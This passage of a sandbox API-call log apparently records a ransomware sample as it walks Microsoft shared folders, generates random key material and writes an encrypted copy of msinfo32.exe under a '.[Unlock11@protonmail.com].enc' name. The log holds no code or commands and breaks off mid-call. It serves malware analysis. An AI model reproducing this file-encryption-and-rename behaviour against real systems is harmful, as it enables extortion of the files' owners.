ftLastAccessTime.dwLowDateTime=0xa08c8ed8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0123.289] GetCurrentThreadId () returned 0x9b0 [0123.289] FindNextFileA (in: hFindFile=0x10f7850, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0123.289] GetCurrentThreadId () returned 0x9b0 [0123.289] FindNextFileA (in: hFindFile=0x10f7850, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0123.289] GetCurrentThreadId () returned 0x9b0 [0123.289] FindClose (in: hFindFile=0x10f7850 | out: hFindFile=0x10f7850) returned 1 [0123.290] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\tipresx.dll.mui")) returned 0x20 [0123.290] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2250 | out: hHeap=0x2ad0000) returned 1 [0123.290] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0123.290] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0123.290] GetCurrentThreadId () returned 0x9b0 [0123.290] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\tipresx.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\tipresx.dll.mui", lpFilePart=0x9bada4*="tipresx.dll.mui") returned 0x48 [0123.290] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0123.290] GetCurrentThreadId () returned 0x9b0 [0123.290] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0123.290] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0123.291] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0123.291] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0123.291] GetCurrentThreadId () returned 0x9b0 [0123.291] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c93df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f79d0 [0123.291] GetCurrentThreadId () returned 0x9b0 [0123.291] FindNextFileA (in: hFindFile=0x10f79d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c93df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0123.291] GetCurrentThreadId () returned 0x9b0 [0123.291] FindNextFileA (in: hFindFile=0x10f79d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e100c60, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e100c60, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0123.292] GetCurrentThreadId () returned 0x9b0 [0123.292] FindNextFileA (in: hFindFile=0x10f79d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e100c60, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e100c60, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0123.292] GetCurrentThreadId () returned 0x9b0 [0123.292] FindClose (in: hFindFile=0x10f79d0 | out: hFindFile=0x10f79d0) returned 1 [0123.292] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\tipresx.dll.mui")) returned 0x20 [0123.292] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a25c0 | out: hHeap=0x2ad0000) returned 1 [0123.292] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0123.292] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0123.293] GetCurrentThreadId () returned 0x9b0 [0123.293] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\tipresx.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\tipresx.dll.mui", lpFilePart=0x9bada4*="tipresx.dll.mui") returned 0x48 [0123.293] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0123.293] GetCurrentThreadId () returned 0x9b0 [0123.293] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0123.293] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0123.293] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0123.293] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0123.293] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7990 [0123.294] GetCurrentThreadId () returned 0x9b0 [0123.294] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0123.294] GetCurrentThreadId () returned 0x9b0 [0123.294] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e0daa01, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e0daa01, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0123.294] GetCurrentThreadId () returned 0x9b0 [0123.294] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e0daa01, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e0daa01, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0123.294] GetCurrentThreadId () returned 0x9b0 [0123.294] FindClose (in: hFindFile=0x10f7990 | out: hFindFile=0x10f7990) returned 1 [0123.294] GetCurrentThreadId () returned 0x9b0 [0123.295] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui")) returned 0x20 [0123.295] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a21f8 | out: hHeap=0x2ad0000) returned 1 [0123.295] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811f8 [0123.295] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0123.295] GetCurrentThreadId () returned 0x9b0 [0123.295] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\tipresx.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\tipresx.dll.mui", lpFilePart=0x9bada4*="tipresx.dll.mui") returned 0x48 [0123.295] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0123.295] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0123.295] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0123.295] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0123.296] GetCurrentThreadId () returned 0x9b0 [0123.296] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0123.296] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3029018 | out: hHeap=0x2ad0000) returned 1 [0123.296] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x325fd70 | out: hHeap=0x2ad0000) returned 1 [0123.296] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c37020 | out: hHeap=0x2ad0000) returned 1 [0123.296] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\*.*", lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa098a4c6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71143a45, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f76d0 [0123.296] GetCurrentThreadId () returned 0x9b0 [0123.296] FindNextFileA (in: hFindFile=0x10f76d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa098a4c6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71143a45, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0123.297] FindNextFileA (in: hFindFile=0x10f76d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa098aa4a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="en-US", cAlternateFileName="")) returned 1 [0123.297] FindNextFileA (in: hFindFile=0x10f76d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463aec8d, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x63793f1, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463aec8d, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x5a600, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1 [0123.297] FindNextFileA (in: hFindFile=0x10f76d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463aec8d, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x63793f1, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463aec8d, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x5a600, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="msinfo32.exe", cAlternateFileName="")) returned 0 [0123.297] FindClose (in: hFindFile=0x10f76d0 | out: hFindFile=0x10f76d0) returned 1 [0123.297] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us")) returned 0x10 [0123.297] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887458 | out: hHeap=0x2ad0000) returned 1 [0123.297] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0123.297] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe")) returned 0x20 [0123.298] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbc60 | out: hHeap=0x2ad0000) returned 1 [0123.298] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881228 [0123.298] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0123.299] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe", lpFilePart=0x9bada4*="msinfo32.exe") returned 0x42 [0123.299] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0123.299] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463aec8d, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x63793f1, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463aec8d, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x5a600)) returned 1 [0123.299] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a91c | out: pbBuffer=0x366a91c) returned 1 [0123.299] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0123.299] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0123.299] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0123.300] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0123.300] GetFileType (hFile=0x39c) returned 0x1 [0123.300] GetFileType (hFile=0x39c) returned 0x1 [0123.300] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0123.300] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.300] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.300] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.300] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.301] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.301] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.301] GetLastError () returned 0x0 [0123.301] GetCurrentThreadId () returned 0x9b0 [0123.301] GetLastError () returned 0x0 [0123.301] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6ab8 | out: hHeap=0x2ad0000) returned 1 [0123.301] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db8a0 | out: hHeap=0x2ad0000) returned 1 [0123.301] GetLastError () returned 0x0 [0123.301] GetLastError () returned 0x0 [0123.301] GetLastError () returned 0x0 [0123.301] GetLastError () returned 0x0 [0123.302] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0123.302] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6a78 [0123.302] GetLastError () returned 0x0 [0123.302] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0123.303] GetFileType (hFile=0x3ac) returned 0x1 [0123.303] GetLastError () returned 0x0 [0123.303] GetCurrentThreadId () returned 0x9b0 [0123.303] GetLastError () returned 0x0 [0123.303] GetFileType (hFile=0x3ac) returned 0x1 [0123.303] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0123.303] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.303] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.304] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.304] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.304] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.304] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.304] GetLastError () returned 0x0 [0123.304] GetCurrentThreadId () returned 0x9b0 [0123.304] GetLastError () returned 0x0 [0123.304] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a78 | out: hHeap=0x2ad0000) returned 1 [0123.304] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a197a8 | out: hHeap=0x2ad0000) returned 1 [0123.304] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0123.305] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0123.305] GetLastError () returned 0x0 [0123.305] GetLastError () returned 0x0 [0123.305] GetCurrentThreadId () returned 0x9b0 [0123.305] GetLastError () returned 0x0 [0123.305] GetCurrentThreadId () returned 0x9b0 [0123.305] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0123.305] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0123.305] GetLastError () returned 0x0 [0123.305] GetLastError () returned 0x0 [0123.305] GetCurrentThreadId () returned 0x9b0 [0123.306] GetLastError () returned 0x0 [0123.306] GetLastError () returned 0x0 [0123.308] GetLastError () returned 0x0 [0123.308] GetCurrentThreadId () returned 0x9b0 [0123.308] GetLastError () returned 0x0 [0123.308] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6cb8 | out: hHeap=0x2ad0000) returned 1 [0123.308] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0123.309] GetLastError () returned 0x0 [0123.309] GetLastError () returned 0x0 [0123.309] GetLastError () returned 0x0 [0123.309] GetLastError () returned 0x0 [0123.309] GetCurrentThreadId () returned 0x9b0 [0123.309] GetLastError () returned 0x0 [0123.309] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0123.309] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881258 [0123.310] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0123.310] GetLastError () returned 0x0 [0123.311] GetLastError () returned 0x0 [0123.311] GetCurrentThreadId () returned 0x9b0 [0123.312] GetLastError () returned 0x0 [0123.312] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x370eb48 | out: hHeap=0x2ad0000) returned 1 [0123.312] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0123.312] GetLastError () returned 0x0 [0123.312] GetLastError () returned 0x0 [0123.313] GetCurrentThreadId () returned 0x9b0 [0123.313] GetLastError () returned 0x0 [0123.313] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0123.313] GetCurrentThreadId () returned 0x9b0 [0123.313] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6cb8 [0123.313] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f69f8 | out: hHeap=0x2ad0000) returned 1 [0123.313] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0123.313] GetLastError () returned 0x0 [0123.314] GetLastError () returned 0x0 [0123.314] GetLastError () returned 0x0 [0123.314] GetLastError () returned 0x0 [0123.314] GetCurrentThreadId () returned 0x9b0 [0123.314] GetLastError () returned 0x0 [0123.314] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0123.314] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0123.314] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0123.314] GetLastError () returned 0x0 [0123.315] GetLastError () returned 0x0 [0123.315] GetCurrentThreadId () returned 0x9b0 [0123.315] GetLastError () returned 0x0 [0123.316] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x370eb48 | out: hHeap=0x2ad0000) returned 1 [0123.316] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0123.316] GetLastError () returned 0x0 [0123.316] GetLastError () returned 0x0 [0123.317] GetCurrentThreadId () returned 0x9b0 [0123.318] GetLastError () returned 0x0 [0123.318] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0123.318] GetCurrentThreadId () returned 0x9b0 [0123.318] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6a78 [0123.318] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6cb8 | out: hHeap=0x2ad0000) returned 1 [0123.318] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0123.318] GetLastError () returned 0x0 [0123.318] GetLastError () returned 0x0 [0123.319] GetLastError () returned 0x0 [0123.319] GetLastError () returned 0x0 [0123.319] GetCurrentThreadId () returned 0x9b0 [0123.319] GetLastError () returned 0x0 [0123.319] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0123.319] RtlAllocateHeap 